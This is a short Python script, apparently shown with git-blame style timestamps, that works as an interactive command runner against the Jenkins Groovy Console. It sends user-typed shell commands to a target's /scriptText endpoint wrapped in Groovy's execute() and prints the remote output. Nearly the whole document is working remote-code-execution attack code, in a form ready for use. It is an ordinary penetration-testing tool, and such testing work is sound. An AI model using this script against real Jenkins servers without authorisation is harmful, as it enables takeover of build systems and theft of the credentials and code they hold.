2019-02-17 19:02:16 +00:00
|
|
|
#!/usr/bin/env python
|
|
|
|
# SRC: https://raw.githubusercontent.com/bl4de/security-tools/master/jgc.py
|
|
|
|
# DOC: https://medium.com/@_bl4de/remote-code-execution-with-groovy-console-in-jenkins-bd6ef55c285b
|
2019-02-17 22:47:18 +00:00
|
|
|
from __future__ import print_function
|
|
|
|
from builtins import input
|
2019-02-17 19:02:16 +00:00
|
|
|
import requests
|
|
|
|
import sys
|
|
|
|
|
2019-02-17 22:47:18 +00:00
|
|
|
print("""
|
2019-02-17 19:02:16 +00:00
|
|
|
Jenkins Groovy Console cmd runner.
|
|
|
|
|
|
|
|
usage: ./jgc.py [HOST]
|
|
|
|
|
|
|
|
Then type any command and wait for STDOUT output from remote machine.
|
|
|
|
Type 'exit' to exit :)
|
2019-02-17 22:47:18 +00:00
|
|
|
""")
|
2019-02-17 19:02:16 +00:00
|
|
|
URL = sys.argv[1] + '/scriptText'
|
|
|
|
HEADERS = {
|
|
|
|
'User-Agent': 'jgc'
|
|
|
|
}
|
|
|
|
|
|
|
|
while 1:
|
2019-02-17 22:47:18 +00:00
|
|
|
CMD = input(">> Enter command to execute (or type 'exit' to exit): ")
|
2019-02-17 19:02:16 +00:00
|
|
|
if CMD == 'exit':
|
2019-02-17 22:47:18 +00:00
|
|
|
print("exiting...\n")
|
2019-02-17 19:02:16 +00:00
|
|
|
exit(0)
|
|
|
|
|
|
|
|
DATA = {
|
|
|
|
'script': 'println "{}".execute().text'.format(CMD)
|
|
|
|
}
|
|
|
|
result = requests.post(URL, headers=HEADERS, data=DATA)
|
2019-02-17 22:47:18 +00:00
|
|
|
print(result.text)
|